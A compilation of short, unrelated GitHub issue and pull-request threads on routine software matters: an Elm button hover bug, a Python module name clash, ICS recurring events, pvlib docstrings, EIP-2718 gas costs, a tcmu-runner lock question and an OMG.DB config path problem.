Summarize the change in the pull request title
Describe your change, specifically why you think it's needed.
Fixes #Issue_Number (if necessary)

@sccmentor : Thanks for your contribution! The author, @aczechowski, has been notified to review your proposed change.

Thanks @sccmentor for the contribution. I haven't updated the core docs yet for the 1810 MSIX work, but that's next on my to do list. I think that will address what you're after. I generally don't go back and update technical preview content, as I consider those more a historical record, a snapshot in time. So I'm going to close this pull request. Feel free to reopen if you're super passionate about making a change here, I'm open to reconsidering. 😃

Ok cheers Aaron.


customButton loses hover/down state when passed through Html on Chrome

These two buttons behave differently when hovered or down on Chrome. The one passed through Html loses it's hover/down state every second. On Firefox they both behave as expected, keeping the hover/down state.
import Graphics.Element (..)
import Graphics.Collage (..)
import Graphics.Input (..)
import Signal (..)
import Time (..)
import Color (..)
import Text -- needed even when unused because of elm-compiler bug #864

import Html

chan : Channel ()
chan = channel ()

main : Signal Element
main =
    map
        (\b -> flow right [throughHtmlButton b, spacer 5 1, myButton b])
        (map (\t -> (round t) % 2 == 0) (every second))

throughHtmlButton : Bool -> Element
throughHtmlButton b = Html.toElement 64 64 <| Html.fromElement <| myButton b

myButton : Bool -> Element
myButton b =
    let up    = collage 64 64 [rect 64 64 |> filled (if b then red else green)]
        hover = collage 64 64 [rect 64 64 |> filled blue]
        down  = collage 64 64 [rect 64 64 |> filled yellow]
    in customButton (send chan ()) up hover down

Tested on Chrome-{unstable,stable} and Firefox (Ubuntu 14.04 32-bit)  with elm-html 1.1 and 2.0.

The underlying has been reported a few different ways, so I'm combining them all into meta issue #80. Follow along there to see progress on this. Thanks for the report!


⚠ AZ-Launcher has degraded performance

In 6de7e35, AZ-Launcher (https://az-launcher.nz/) experienced degraded performance:

HTTP code: 200
Response time: 1416 ms

Resolved: AZ-Launcher performance has improved in ee05915 after 4 minutes.


ModuleNotFoundError: No module named 'http.cookies'; 'http' is not a package

This error seems to happen particulary in Pycharm when I try to make a new config to run the pinnwand package with speciefic attributes to target the different CLI commands.
It first drove me crazy, but the issue is coming from a name conflict with the built-in Python http library .
Debugging is alot easier with Pycharm, at least to me.
Would you be up to renaming the http module to app, since what it does eventually is make the app instance that'll later be ran.

I'm up for renaming it.

It does, at least to me as I'm not sure about how others do but I've found myself committing and dropping whenever debugging, which is a bit unpleasant.
I'll PR this now, it's quite the simple change.


recurring items in ics calendar (not about recurring obsidian tasks)

Describe the bug
The recurring items in my ics calendar are not being displayed in the time ruler.  Is this known and planned for future?
To Reproduce
Steps to reproduce the behavior:

have a calendar with recurring items.  Try something that is daily first
get the ics link
add to the settings

Expected behavior
I expect to see a recurring ics item appear on each day it would appear in the native system's calendar.
Obsidian Version:

[ ] Mobile
[ x] Desktop 1.4.8

Additional context
If this isn't implemented yet you can look at the ICS plugin.  It is able to get events inclduing recurring.

Good catch, added to changelog.

This has been added in v2.5.0.


Updates to support/windows-server/networking/slow-smb-file-transfer.md

Completed updates to this article.
Pull request guidance
Thank you for submitting your contribution to our support content! Our team works closely with subject matter experts in CSS and PMs in the product group to review all content requests to ensure technical accuracy and the best customer experience. This process can sometimes take one or more days, so we greatly appreciate your patience.
We also need your help in order to process your request as soon as possible:

We won't act on your pull request (PR) until you type "#sign-off" in a new comment in your pull request (PR) to indicate that your changes are complete.

After you sign off in your PR, the article will be tech reviewed by the PM or SME if it has more than minor changes. Once the article is approved, it will undergo a final editing pass before being merged.

@JamesKehr The changes are live. This PR will be closed.


server time outs when retrieving events using big time intervals

What were you trying to achieve?
Trying to retrieve events that are far many months apart.
What are the expected results?
Obtain the events
What are the received results?
Server timeouts for events that are 6 months apart.
What are the steps to reproduce the issue?
Just query events which are 6 or so months apart.
In what environment did you encounter the issue?
RESTful client
Additional context
This is mostly about the robustness and performance of the endpoints when dealing with retrieval of large data that spans a big time period.

This was addressed. But needs further investigations.


Release/cf215

Added yellow ribbon

 Thank you for your submission! We really appreciate it. Like many open source projects, we ask that you all sign our Contributor License Agreement before we can accept your contribution.0 out of 2 committers have signed the CLA.:x: david.sayer@hcl.com:x<EMAIL_ADDRESS>seems not to be a GitHub user. You need a GitHub account to be able to sign the CLA. If you have already a GitHub account, please add the email address used for this commit to your account.You have signed the CLA already but the status is still pending? Let us recheck it.


@conda-forge-admin, please add user @jtilly

Additional comment:
@conda-forge-admin, please add user @jtilly

Hi! This is the friendly automated conda-forge-webservice.
I just wanted to let you know that I added user @jtilly in conda-forge/minimalkv-feedstock#12.


Add traffic info into OPass community track page

Types of changes
Please put an x in the box that applies

[ ] Bugfix
[ ] New feature
[ ] Refactoring
[ ] Breaking change (any change that would cause existing functionality to not work as expected)
[ ] Documentation Update
[X] Other (please describe)

Description
Describe what the change is
Move the traffic block into a snippet html template so that the original and ccip version of community track page can include it.
Steps to Test This Pull Request
Steps to reproduce the behavior:

Go to localhost:8000/cip/community-track
Scroll down to the last part
The content is inconsistent to the original community track page. Traffic info is not displayed in the OPass version.

Expected behavior
The OPass version and the web version should be the same. Traffic info should be on both sides.

Codecov Report

Merging #939 into master will not change coverage.
The diff coverage is n/a.

@@           Coverage Diff           @@
##           master     #939   +/-   ##
=======================================
  Coverage   75.04%   75.04%
=======================================
  Files          80       80
  Lines        3082     3082
=======================================
  Hits         2313     2313
  Misses        769      769

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update b38c5f3...5faaff2. Read the comment docs.


Detailed explanation of racking_module and module_type in PVSystem docstring

Is your feature request related to a problem? Please describe.
Without prior knowledge, the racking_model and the module_type parameters are not properly explained, especially with respect to how their combination is used to select a temperature model.
Describe the solution you'd like
A detailed description racking_model and module_type and how/why certain combinations are then used to select a SAPM or PVSyst temperature model.  This description should be in the notes section of PVSystem and Array.
It would also be useful to include a brief version of this description in the PVSystem user guide.
Also, note that currently the docstring of the racking_model argument in both PVSystem and FixedMount is incomplete - it is  missing the freestanding option.  This needs to be fixed.
Describe alternatives you've considered
I've searched the codebase and tutorials for an explanation.

In addition to the racking_model incompleteness mentioned above, the docstring states  that default is 'open_rack', but the code  has the default as None.  Which is one the intended definition?

IMO None is the intended default and the docstring should be corrected.


honor intrinsic gas for eip-2718 transactions

The intrinsic cost of the new transaction is inherited from EIP-2930, specifically 21000 + 16 * non-zero calldata bytes + 4 * zero calldata bytes + 1900 * access list storage key count + 2400 * access list address count.

Actually: https://eips.ethereum.org/EIPS/eip-2028


Potential error(e.g., deadlock ) due to the unreleased lock (CWE-667)

Dear developers, thank you for your checking! It seems that the lock &rdev->caw_lock may not be released correctly if the ret == TCMU_STS_ASYNC_HANDLED is true. Should it be a real bug? I think the fix is to insert pthread_mutex_unlock(&rdev->caw_lock);  before returning.
https://github.com/open-iscsi/tcmu-runner/blob/06d64ab78c2898c032fe5be93f9ae6f64b199d5b/tcmur_cmd_handler.c#L1731
https://github.com/open-iscsi/tcmu-runner/blob/06d64ab78c2898c032fe5be93f9ae6f64b199d5b/tcmur_cmd_handler.c#L1736
static int handle_caw(struct tcmu_device *dev, struct tcmulib_cmd *cmd)
{
	...;
	pthread_mutex_lock(&rdev->caw_lock);

	ret = aio_request_schedule(dev, tcmur_cmd, caw_work_fn,
				   tcmur_cmd_complete);
	if (ret == TCMU_STS_ASYNC_HANDLED)
		return TCMU_STS_ASYNC_HANDLED;  //return without releasing the lock

	pthread_mutex_unlock(&rdev->caw_lock);
	tcmur_cmd_state_free(tcmur_cmd);
	return ret;
}

Best,

Yeah, it is a bug, could you raise one PR ?

Yeah, it is a bug, could you raise one PR ?

Sorry, actually it is not a bug. The unlock will be done in the callbacks.

@lxbsz OK，Thanks


Path to OMG.DB location does not respect configuration

Location of OMG.DB files seems to be hardcoded.
To reproduce:

Create folder if not exits ~/.omg/my_folder
Configure :omg_db, leveldb_path: "~/.other_omg/data"
Run init: mix run --no-start -e 'OMG.DB.init()' --config <path_to_config_file.exs>

Above should fail with error: module=OMG.DB.LevelDB function=do_init/2 ⋅Unable to init: {:error, :leveldb_not_empty}⋅
When you empty default location ~/.omg, database will be initiated there despite configuration value.

this looks quite outdated now - neither config names nor LevelDB exist anymore. The configuration machinery has been revamped since then. I'd say close and use different issues if problem persists.